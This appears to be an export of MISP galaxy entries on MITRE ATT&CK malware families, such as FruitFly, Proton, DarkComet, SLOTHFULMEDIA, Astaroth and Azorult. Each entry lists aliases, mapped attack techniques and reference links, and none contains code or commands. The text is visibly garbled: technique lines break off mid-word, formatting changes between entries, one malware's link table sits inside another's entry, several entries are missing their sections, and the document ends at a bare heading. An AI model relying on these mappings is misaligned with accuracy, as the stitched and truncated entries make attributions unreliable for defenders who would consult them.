The tag is: `misp-galaxy:mitre-malware="FruitFly - S0277"`

FruitFly - S0277 is also known as:

• FruitFly

View relationships graph

FruitFly - S0277 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 7037. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
ZergHelper - S0287

[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)

The tag is: `misp-galaxy:mitre-malware="ZergHelper - S0287"`

View relationships graph

ZergHelper - S0287 has relationships with:


Table 7038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0287">https://attack.mitre.org/software/S0287</a></td>
</tr>
</tbody>
</table>

iKitten - S0278

[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).

The tag is: `misp-galaxy:mitre-malware="iKitten - S0278"`

iKitten - S0278 is also known as:

- iKitten
- OSX/MacDownloader

View relationships graph

iKitten - S0278 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"` with `estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 7039. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0278">https://attack.mitre.org/software/S0278</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html">https://objective-see.com/blog/blog_0x25.html</a></td>
</tr>
</tbody>
</table>

**XcodeGhost - S0297**

[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)

The tag is: **misp-galaxy:mitre-malware="XcodeGhost - S0297"**

View relationships graph

XcodeGhost - S0297 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1474.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"

Table 7040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0297">https://attack.mitre.org/software/S0297</a></td>
</tr>
</tbody>
</table>
Proton - S0279

[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).

The tag is: `misp-galaxy:mitre-malware="Proton - S0279"

Proton - S0279 is also known as:

- Proton

View relationships graph

Proton - S0279 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="VNC - T1021.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"` with estimative-language:likelihood-probability="almost-certain"
KeyRaider - S0288

[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)

The tag is: `misp-galaxy:mitre-malware="KeyRaider - S0288"`

NotCompatible - S0299

[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)

The tag is: `misp-galaxy:mitre-malware="NotCompatible - S0299"`
UBoatRAT - S0333

[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)

The tag is: misp-galaxy:mitre-malware="UBoatRAT - S0333"

UBoatRAT - S0333 is also known as:

- UBoatRAT

View relationships graph

UBoatRAT - S0333 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

*Table 7044. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0333">https://attack.mitre.org/software/S0333</a></td>
</tr>
</tbody>
</table>
DarkComet - S0334

[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)

The tag is: *misp-galaxy:mitre-malware="DarkComet - S0334"*

DarkComet - S0334 is also known as:

- DarkComet
- DarkKomet
- Fynloski
- Krademok
- FYNLOS

View relationships graph

DarkComet - S0334 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Video Capture - T1125"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"* with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

_table 7045. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0334">https://attack.mitre.org/software/S0334</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/">https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/</a></td>
</tr>
</tbody>
</table>

**Rifdoor - S0433**

[Rifdoor](https://attack.mitre.org/software/S0433) is a remote access trojan (RAT) that shares numerous code similarities with [HotCroissant](https://attack.mitre.org/software/S0431). (Citation: Carbon Black HotCroissant April 2020)

The tag is: `mispgalaxy:mitre-malware="Rifdoor - S0433"`

Rifdoor - S0433 is also known as:

- Rifdoor

View relationships graph

Rifdoor - S0433 has relationships with:

SLOTHFULMEDIA - S0533

[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017. (Citation: CISA MAR SLOTHFULMEDIA October 2020) (Citation: Costin Raiu IAmTheKing October 2020)

It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe. (Citation: USCYBERCOM SLOTHFULMEDIA October 2020) (Citation: Kaspersky IAmTheKing October 2020)

In October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as "IAmTheKing". (Citation: Kaspersky IAmTheKing October 2020)

ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as "PowerPool". (Citation: ESET PowerPool Code October 2020)

The tag is: misp-galaxy:mitre-malware="SLOTHFULMEDIA - S0533"

SLOTHFULMEDIA - S0533 is also known as:

- SLOTHFULMEDIA
- JackOfHearts
- QueenOfClubs

View relationships graph

SLOTHFULMEDIA - S0533 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-
Table 7047. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0533">https://attack.mitre.org/software/S0533</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CNMF_CyberAlert/status/1311743710997159953">https://twitter.com/CNMF_CyberAlert/status/1311743710997159953</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1311762215490461696">https://twitter.com/ESETresearch/status/1311762215490461696</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/craiu/status/1311920398259367942">https://twitter.com/craiu/status/1311920398259367942</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a</a></td>
</tr>
</tbody>
</table>

Carbon - S0335

[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia. (Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)

The tag is: `misp-galaxy:mitre-malware="Carbon - S0335"`

Carbon - S0335 is also known as:

- Carbon

View relationships graph

Carbon - S0335 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 7048. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0335">https://attack.mitre.org/software/S0335</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/shedding-skin-turlas-fresh-faces/88069/">https://securelist.com/shedding-skin-turlas-fresh-faces/88069/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/">https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/</a></td>
</tr>
</tbody>
</table>

**NOKKI - S0353**

[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42
The tag is: misp-galaxy:mitre-malware="NOKKI - S0353"

NOKKI - S0353 is also known as:

- NOKKI

View relationships graph

NOKKI - S0353 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 7049. Table References
NanoCore - S0336

[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013. (Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: `misp-galaxy:mitre-malware="NanoCore - S0336"`

NanoCore - S0336 is also known as:

- NanoCore

View relationships graph

NanoCore - S0336 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1125"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
Astaroth - S0373

[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: `misp-galaxy:mitre-malware="Astaroth - S0373"`

Astaroth - S0373 is also known as:

- Astaroth
- Guildma

View relationships graph

Astaroth - S0373 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-
BadPatch - S0337

[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign. (Citation: Unit 42 BadPatch Oct 2017)

The tag is: `misp-galaxy:mitre-malware="BadPatch - S0337"

BadPatch - S0337 is also known as:

- BadPatch

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0373">https://attack.mitre.org/software/S0373</a></td>
</tr>
</tbody>
</table>
View relationships graph

BadPatch - S0337 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7052. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0337">https://attack.mitre.org/software/S0337</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/">https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/</a></td>
</tr>
</tbody>
</table>

FlawedGrace - S0383

[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)

The tag is: *misp-galaxy:mitre-malware="FlawedGrace - S0383"*

FlawedGrace - S0383 is also known as:
FlawedGrace

View relationships graph

FlawedGrace - S0383 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 7053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0383">https://attack.mitre.org/software/S0383</a></td>
</tr>
</tbody>
</table>

Micropsia - S0339

[ Micropsia ](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi. (Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)

The tag is: misp-galaxy:mitre-malware="Micropsia - S0339"

Micropsia - S0339 is also known as:

- Micropsia

View relationships graph

Micropsia - S0339 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 7054. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0339">https://attack.mitre.org/software/S0339</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/06/palestine-delphi.html">https://blog.talosintelligence.com/2017/06/palestine-delphi.html</a></td>
</tr>
</tbody>
</table>

**PowerStallion - S0393**

[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors. (Citation: ESET Turla PowerShell May 2019)

The tag is: *misp-galaxy:mitre-malware="PowerStallion - S0393"*

PowerStallion - S0393 is also known as:

- PowerStallion

**View relationships graph**

PowerStallion - S0393 has relationships with:


MESSAGETAP - S0443

[MESSAGETAP](https://attack.mitre.org/software/S0443) is a data mining malware family deployed by [APT41](https://attack.mitre.org/groups/G0096) into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. (Citation: FireEye MESSAGETAP October 2019)

The tag is: *misp-galaxy:mitre-malware="MESSAGETAP - S0443"

MESSAGETAP - S0443 is also known as:

- MESSAGETAP

View relationships graph

MESSAGETAP - S0443 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-
Azorult - S0344

Azorult - S0344 is a commercial Trojan that is used to steal information from compromised hosts. Azorult has been observed in the wild as early as 2016. In July 2018, Azorult was seen used in a spearphishing campaign against targets in North America. Azorult has been seen used for cryptocurrency theft.

The tag is: misp-galaxy:mitre-malware="Azorult - S0344"

Azorult - S0344 is also known as:

- Azorult

View relationships graph

Azorult - S0344 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 7057. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0344">https://attack.mitre.org/software/S0344</a></td>
</tr>
</tbody>
</table>

**PLEAD - S0435**

